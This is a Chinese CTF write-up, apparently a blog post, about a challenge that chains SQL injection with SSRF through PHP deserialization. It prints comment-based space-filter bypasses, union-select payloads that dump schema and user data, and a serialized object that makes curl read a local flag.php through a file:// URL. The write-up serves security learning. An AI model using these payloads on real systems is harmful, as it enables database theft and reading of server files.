记一道SSRF配合SQL注入的题。

喜欢在做题之前扫一下网站的目录,扫到了robots.txt文件可以访问,拿到user.php.bak的源码。同时还有flag.php。

<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = ""; public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
} function get($url)
{
$ch = curl_init(); //初始化一个curl会话 curl_setopt($ch, CURLOPT_URL, $url); //设置需要抓取的URL
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上
$output = curl_exec($ch); //运行cURL,请求网页
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch); //关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄 return $output;
} public function getBlogContents ()
{
return $this->get($this->blog);
} public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
} }

看大师傅的文章才知道这里在get()函数存在SSRF(服务端请求伪造)漏洞。

再看,网站有两个功能,一个login一个join。注册登录进去看到url里面有view.php?no=4 。对这个比较敏感。感觉存在sql注入。

?no=1 order by 5--+  //报错,存在4列
?no=1 union select 1,2,3,4--+ //提示no hack ~_~,应该是存在Waf。

简单的测试了下应该是过滤了空格,用注释绕过。

?no=-1/**/union/**/select/**/1,2,3,4--+

在报错里面出现了unserialize()函数,在上面拿到的代码里面有__construct,后面应该跟序列化有关



下面暴数据。

?no=-1/**/union/**/select/**/1,database(),3,4--+

?no=-1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where table_schema=database()),3,4--+

?no=-1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where table_name='users'),3,4--+

?no=-1/**/union/**/select/**/1,(select/**/group_concat(data)/**/from/**/users),3,4--+



在data字段拿到了一串序列化的字符

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:33:"https://www.cnblogs.com/HelloCTF/";}

再看一开始的这张图,好像是要把我们给的链接的内容打印出来。



那么我们可以将这个链接也序列化file:///var/www/html/flag.php,然后能把flag.php的读取出来。

序列化

<?php
class UserInfo
{
public $name = "1";
public $age = 1;
public $blog = "file:///var/www/html/flag.php"; public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
}
$a = new UserInfo('1',1,'file:///var/www/html/flag.php');
$a = serialize($a);
echo $a;
//结果:O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

这里因为data是第四个字段,所以序列化后的字符串所以放在4号位上

payload

?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+

flag在页面的源代码里,base64解码



最新文章

  1. 一首诗,致亲爱的csdn
  2. nginx的pass_proxy遇到的坑
  3. jq 获取除节假日与周六日 外的日期 和 星期
  4. distributed 以及 distributional 语义表达的区别
  5. Train Problem I hdu 1022(栈)
  6. HoloLens开发手记 - Unity之Locatable camera 使用相机
  7. Lucas的数论(math)
  8. LeetCode Longest Substring with At Most Two Distinct Characters
  9. 在JQuery和Js中,如何让ajax执行完后再继续往下执行 async
  10. Qt error:QtThese QT version are inaccessible
  11. poj 3273 Monthly Expense(二分搜索之最大化最小值)
  12. Lists, Maps and Sets in Java
  13. 用户代理字符串(navigator.userAgent)检测方法
  14. JS画几何图形之四【饼图】
  15. c语言程序设计第4周编程练习(素数和)
  16. 原生aspx页面如何引用公共js和css
  17. cf14d 树的直径,枚举删边
  18. What are the differences between struct and class in C++?
  19. vue--v-model表单控件绑定
  20. 机器学习进阶-案例实战-答题卡识别判 1.cv2.getPerspectiveTransform(获得投射变化后的H矩阵) 2.cv2.warpPerspective(H获得变化后的图像) 3.cv2.approxPolyDP(近似轮廓) 4.cv2.threshold(二值变化) 7.cv2.countNonezeros(非零像素点个数)6.cv2.bitwise_and(与判断)

热门文章

  1. Unity il2cpp加密
  2. Kubernetes使用节点亲缘性将POD调度到特定节点上
  3. 利用C语言将混乱数字排序(即冒泡排序法)(含思路)
  4. 详解 MD5 信息摘要算法
  5. 资源:Postgresql数据库下载路径
  6. Redis 高级面试题
  7. CG-CTF Our 16bit wars
  8. sublime最全笔记
  9. varnish4.X安装
  10. Arduino IDE 2.0 beta安装